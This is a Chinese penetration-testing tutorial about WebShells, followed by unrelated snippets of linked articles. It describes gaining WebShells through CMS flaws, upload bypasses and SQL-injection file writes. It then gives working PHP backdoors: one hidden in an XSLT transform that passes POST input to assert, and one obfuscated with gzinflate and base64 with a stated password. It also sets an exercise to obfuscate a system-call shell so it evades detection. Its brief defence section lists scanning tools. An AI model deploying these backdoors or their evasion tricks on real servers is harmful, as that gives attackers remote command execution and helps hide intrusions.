【渗透攻防】千变万化的WebShell

前言
WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。本篇文章将带大家学习如何获取WebShell,如何隐藏WebShell,有攻必有防,最后带大家学习查杀WebShell。

目录

  • 第一节 CMS获取WebShell

  • 第二节 非CMS获取WebShell

  • 第三节 基于xslt转换的WebShell

  • 第四节 代码混淆隐藏WebShell

  • 第五节 防御篇-查杀WebShell

正文

  • 第一节 CMS获取WebShell

1.1、什么是CMS?
CMS是Content Management System的缩写,意为"内容管理系统"。 内容管理系统是企业信息化建设和电子政务的新宠,也是一个相对较新的市场。对于内容管理,业界还没有一个统一的定义,不同的机构有不同的理解。

1.2、常见的CMS有哪些?

  • asp平台:动易CMS、创力CMS、科汛CMS、新云CMS;

  • php平台:phpcms、织梦CMS、帝国CMS、php168 CMS;

  • ASP.NET平台:Zoomla!逐浪CMS、动易CMS、风讯CMS、We7 CMS;

1.3、CMS获取WebShell方法

公开漏洞途径:以PHPCMS为例:
我们可以利用搜索引擎来查找互联网上公开的通用漏洞,如果目标站点并没有进行修复,即可轻松获取WebShell。

代码审计途径:
有很多CMS其实是开源的,我们可以在官网下载到源码,然后进行代码审计,自己挖掘漏洞, 来获取WebShell。关于代码审计的教程篇幅太长,这里就不做更多介绍,我会单独写一篇系列文章进行讲解。

  • 第二节 非CMS获取WebShell

2.1、上传漏洞获取WebShell

文件上传漏洞主要有以下几种情况:

  • MIME类型绕过漏洞

  • 文件扩展名绕过漏洞

  • 文件内容检测绕过类上传漏洞

  • 空字节截断目录路径检测绕过类上传漏洞

解析导致的文件上传漏洞:

  • IIS6.0站上的目录路径检测解析绕过上传漏洞

  • Apache站上的解析缺陷绕过上传漏洞

  • htaccess文件上传解析漏洞

还有一些编辑器存在漏洞导致的文件上传,比如FCK编辑器。

2.2、SQL注入获取WebShell

利用SQL注入攻击获取WebShell其实就是在向服务器写文件。(注意:这里我们需要得到网站的绝对路径)所有常用的关系数据库管理系统(RDBMS)均包含内置的向服务器文件系统写文件的功能。

MySQL:

select into outfile(dumpfile)  //MySQL写文件命令

例如:

select "<?php echo 'test'; ?>" into outfile "F:\\\www\\\test.php";

那么其它关系数据库管理系统同样的原理写文件,就不在过多介绍了。

2.3、数据库备份获取WebShell

利用数据库备份获取WebShell,恰好i春秋有相关的实验,我也发过相关的教程,这里就不介绍了,大家去看看吧,第三步就是利用数据库备份拿WebShell。
2015中国网络安全大赛:越权访问真题

配套实验地址:(进去后选择越权访问点击START就行了)
2015中国网络安全大赛

  • 第三节 基于xslt转换的WebShell

3.1、什么是xslt?

在了解什么是xslt之前,我们需要先了解什么是xsl,XSL是可扩展样式表语言的外语缩写,是一种用于以可读格式呈现 XML(标准通用标记语言的子集)数据的语言。
XSL - 不仅仅是样式表语言
XSL 包括三部分:
XSLT - 一种用于转换 XML 文档的语言。
XPath - 一种用于在 XML 文档中导航的语言。
XSL-FO - 一种用于格式化 XML 文档的语言。

那么看到这里相信大家已经了解到xslt是xsl的一部分。

3.2、在PHP下基于xslt转换来隐藏WebShell

怎么在php下使用xsl呢?我教大家的都是可以自己学习的方法,既然要使用php,我们肯定要去看php的官方手册,我们去搜索xsl

定位到XSLTProcessor类,可以发现registerPHPFunctions方法,如果你根本不懂这些方法,不要紧,看后面的英文介绍,如果你说你不懂英文,不要紧啊,不有google翻译,拿去翻译一下

Enables the ability to use PHP functions as XSLT functions

我们点进去,可以发现里面有事例,很简单,建议大家去看看啊。PHP手册地址见下面的参考资料

我们先来看看官方事例:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"     xmlns:xsl="http://www.w3.org/1999/XSL/Transform"     xmlns:php="http://php.net/xsl">          //这个命名空间URI表示php专用的xsl函数支持<xsl:output method="html" encoding="utf-8" indent="yes"/><xsl:template match="allusers">  <html><body>    <h2>Users</h2><table>    <xsl:for-each select="user">      <tr><td>        <xsl:value-ofselect="php:function('ucfirst',string(uid))"/>     //php:function('assert',string(.))表示将匹配节点的文本作为参数传递给php的assert函数。</td></tr>    </xsl:for-each></table></body></html> </xsl:template>
</xsl:stylesheet>

那么搞懂了以上这些知识,那就很简单了。

为了避免xml的转义问题,进行一次assert嵌套,最终WebShell如下:

<?php
$xml='<ichunqiu>assert($_POST\[zusheng\]);</ichunqiu>';
$xsl='<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:icq="http://php.net/xsl"><xsl:template match="/ichunqiu"><xsl:value-of select="icq:function(\\'assert\\',string(.))"/></xsl:template>
</xsl:stylesheet>';
$xmldoc = DOMDocument::loadXML($xml);
$xsldoc = DOMDocument::loadXML($xsl);
$proc = new XSLTProcessor();
$proc->registerPHPFunctions();
$proc->importStyleSheet($xsldoc);
$proc->transformToXML($xmldoc);?>

可以直接用菜刀连接:(密码:zusheng)

参考资料:

  • PHP官方手册:http://php.net/manual/zh/

  • 第四节 代码混淆隐藏WebShell

代码混淆隐藏WebShell也就是通过编码和压缩恶意代码的方式来隐藏WebShell。

这里我们使用gzinflate+Base64加密,来隐藏WebShell。

<?php
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVq8qLc5IzUtXj9W0BgA=')));?>

可以直接用菜刀连接:(密码:zusheng)

  • 第五节 防御篇-查杀WebShell

5.1、WebShell的分类

5.2、安全工具
D盾:

360主机卫士:
提供在线监测,把网站打包成zip上传就行了
http://zhuji.360.cn/backdoor

小实验

学完上述知识,大家是不是想动手来试试了呢,来个小实验。

我们先新建一个php文件

文件内容如下:

<?phpif (isset($_GET\["cmd"\]))
{
array\_diff\_ukey(@array($_GET\['cmd'\]=>1),@array('user'=>2),'system');
}?>

使用gzinflate+Base64加密,来隐藏WebShell。
使之能正常运行。

结束语

作为一名黑客,在你取得成功的问题上没有什么诀窍可寻,只有你越努力工作,你才能越接近成功。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/141062.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Opencv cuda版本在ubuntu22.04中安装办法,解决Could NOT find CUDNN的办法

文章目录 概要下载cuda的runfile版本配置环境变量官网下载cudann安装Opencv依赖包下载opencv和opencv_contrib并解压准备编译安装anaconda环境执行编译命令安装OpenCV并检查是否安装成功 概要 解决以下安装问题&#xff1a; -- Could NOT find CUDNN: Found unsuitable versi…

Qt地铁智慧换乘系统浅学( 一 )存储站点,线路信息

存储 定义所需要的容器定义最大最小经纬度[统计站点信息 在经纬度网站](https://map.jiqrxx.com/jingweidu/)读取统计的信息存储到容器其他的一些相关函数debug 显示存储的信息更新最小最大经纬度的函数获取两点之间的距离 根据经纬度 定义所需要的容器 extern QMap<QStrin…

单元测试 —— JUnit 5 参数化测试

JUnit 5参数化测试 目录 设置我们的第一个参数化测试参数来源 ValueSourceNullSource & EmptySourceMethodSourceCsvSourceCsvFileSourceEnumSourceArgumentsSource参数转换参数聚合奖励总结 如果您正在阅读这篇文章&#xff0c;说明您已经熟悉了JUnit。让我为您概括一下…

Web 基础概念

自己总结的web前端知识体系大全 基础概念 DOM DOM是什么意思-前端入门_dom是什么意思啊_猿说前端的博客-CSDN博客 DOM的含义&#xff1a; DOM称为文件对象模型&#xff08;DocumentObjectModel&#xff0c;简称DOM&#xff09;&#xff0c;是W3C组织推荐的处理可扩展置标语言的…

hanoi塔问题

汉诺塔 5层攻略31步_哔哩哔哩_bilibili 问题描述&#xff1a; n阶Hanoi塔问题&#xff0c;假设有3个分别命名为A、B、C塔座&#xff0c;在塔座A上插有n个直径大小各不相同、依小到大的圆盘。现要求将A轴上的n个圆盘移动至塔座C上并按同样顺序叠排&#xff0c;圆盘移动时必须遵…

【Linux】生产消费模型 + 线程池

文章目录 &#x1f4d6; 前言1. 生产消费模型2. 阻塞队列2.1 成员变量&#xff1a;2.2 入队(push)和出队(pop)&#xff1a;2.3 封装与测试运行&#xff1a;2.3 - 1 对代码进一步封装2.3 - 2 分配运算任务2.3 - 3 测试与运行 3. 循环阻塞队列3.1 POSIX信号量&#xff1a;3.1 - 1…

VRRP DHCP ACL NAT 网络核心路由技术综述 (第十课)

VRRP DHCP ACL NAT 网络核心技术综述 (第十课) 六大路由基础技术 简单的利用思维导图回顾 1 浮动路由 2 VRRP 技术==>目的是备份网关

阿里云Stable Diffusion操作教程

大家好,我是雄雄,欢迎关注微信公众号:雄雄的小课堂 前言 Stable Diffusion是⼀种深度学习模型,主要⽤于将⽂本描述转化为详细的图像,也可以应⽤于其他图像处理任务 。 这个模型由创业公司Stability AI 与学术研究者合作开发,使⽤了⼀种称为潜在扩散模型(LDM)的扩散模型…

基于UWB技术高精度人员定位系统源码

一、UWB定位技术有什么优势&#xff1f; UWB技术解决了困扰传统无线通信技术多年的有关传播方面的重大难题&#xff0c;具有对信道衰落不敏感、发射信号功率谱密度低、截获率低、系统复杂度低、能提供数厘米的定位精度等优点。 1.系统结构简单 UWB系统中的发射器直接用脉冲小…

28.CSS 渐变圆文本动画

效果 源码 index.html <!doctype html> <html> <head><meta charset="utf-8"><title>Glowing Gradient Circle Text Animation</title><link rel="stylesheet" href="style.css"> </head> &l…

联想电脑打开exe提示要在Microsoft Store中搜索应用

问题&#xff1a; 你需要为此任务安装应用。 是否要在Microsoft Store中搜索一个&#xff1f; 如图&#xff1a; 出现此情况&#xff0c;仅需要做如下操作&#xff0c;在要打开的exe文件上右键&#xff0c;属性&#xff1a; 如图箭头所示&#xff0c;点击“解除锁定”出现对钩&…

LPA*算法图文详解

之前我们看过了A* 算法&#xff0c;知道了A* 算法的基本原理&#xff0c;但是A* 算法的缺陷也很明显&#xff1a;它是离线的路径规划算法&#xff0c;只能一次规划出路径&#xff0c;但是后面路径被改变的话就无法生效了。针对这个问题&#xff0c;人们研究出了D* 算法。D* 算法…

基于FFmpeg+SDL的视频播放器的制作

基于FFmpegSDL的视频播放器的制作 基于FFmpegSDL的视频播放器的制作实验1实验2实验3实验4基本练习进阶练习 基于FFmpegSDL的视频播放器的制作 雷霄骅博士的课程。 课程链接&#xff1a;https://blog.csdn.net/leixiaohua1020/article/details/47068015 初学 FFmpeg&#xff…

Coovally模型探索:快速获取并应用MMDetection模型

Coovally作为一个帮助用户快速落地机器视觉解决方案的平台&#xff0c;用户可以管理数据集、自动训练以及部署模型。 Coovally现已支持图像、文本、表格、时间序列等不同类型数据的深度学习和应用&#xff0c;快速实现机器学习。实现目标检测、图像分割、文本分类、多模态建模…

计算机毕设 基于大数据的抖音短视频数据分析与可视化 - python 大数据 可视化

文章目录 0 前言1 课题背景2 数据清洗3 数据可视化地区-用户观看时间分界线每周观看观看路径发布地点视频时长整体点赞、完播 4 进阶分析相关性分析留存率 5 深度分析客户价值判断 5 最后 0 前言 &#x1f525; 这两年开始毕业设计和毕业答辩的要求和难度不断提升&#xff0c;…

J2L3x:优秀的即时通讯交流工具

即时通讯交流工具是现今互联网上使用最广泛的工作工具之一。这种类型的软件可以帮助工作人员快速、方便地与同事进行交流、分享和讨论&#xff0c;从而使团队的工作效率更高。J2L3x是一个被广泛使用的即时通讯交流工具之一&#xff0c;下面我们来详细介绍一下它的优点。 首先…

AxureRP制作静态站点发布互联网,实现公网访问【内网穿透】

AxureRP制作静态站点发布互联网&#xff0c;内网穿透实现公网访问 文章目录 AxureRP制作静态站点发布互联网&#xff0c;内网穿透实现公网访问前言1.在AxureRP中生成HTML文件2.配置IIS服务3.添加防火墙安全策略4.使用cpolar内网穿透实现公网访问4.1 登录cpolar web ui管理界面4…

基于springboot+vue的信息技术知识赛系统

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战 主要内容&#xff1a;毕业设计(Javaweb项目|小程序等)、简历模板、学习资料、面试题库、技术咨询 文末联系获取 项目介绍…

蓝桥杯备赛-上学迟到

上学迟到 P5707 【深基2.例12】上学迟到 - 洛谷 |https://www.luogu.com.cn/problem/P5707 题目介绍 题目描述 学校和 yyy 的家之间的距离为 s 米&#xff0c;而 yyy 以v 米每分钟的速度匀速走向学校。 在上学的路上&#xff0c;yyy 还要额外花费 1010 分钟的时间进行垃圾分…

【LeetCode-简单题】110. 平衡二叉树

文章目录 题目方法一&#xff1a;后序递归 题目 方法一&#xff1a;后序递归 递归遍历的同时判断是否是平衡二叉树&#xff0c;如果不是&#xff0c;就置为-1&#xff0c;如果是 就正常做递归求最大深度 参考图解网址 判断平衡二叉树 class Solution {public boolean isBalanc…